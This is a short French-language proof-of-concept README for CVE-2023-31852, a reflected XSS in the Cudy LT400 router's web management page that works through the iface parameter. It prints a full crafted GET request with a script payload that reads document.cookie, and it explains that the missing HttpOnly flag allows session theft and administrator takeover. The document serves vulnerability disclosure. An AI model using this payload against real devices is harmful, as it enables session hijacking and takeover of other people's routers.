calfcrusher/cve-2023-31852Preuve de concept pour XSS réfléchi dans l'interface de gestion web du Cudy LT400, permettant le vol de jetons de session et la prise de contrôle administrateur via des requêtes spécialement conçues vers /cgi-bin/luci/admin/network/wireless/config.
Attaque XSS (cross-site scripting) réfléchie dans l'interface de gestion web du Cudy LT400.
La page /cgi-bin/luci/admin/network/wireless/config présente une XSS réfléchie via le paramètre iface.
Les méthodes d'exploitation impliquent l'envoi d'une requête spécialement conçue à la victime contenant du code malveillant.
L'application affectée ne définit pas le cookie de session avec l'attribut HttpOnly ; cela peut entraîner le vol du jeton de session et la prise de contrôle de l'administrateur.
GET /cgi-bin/luci/admin/network/wireless/config?nomodal=&iface=wlan00%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/admin/setup
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31852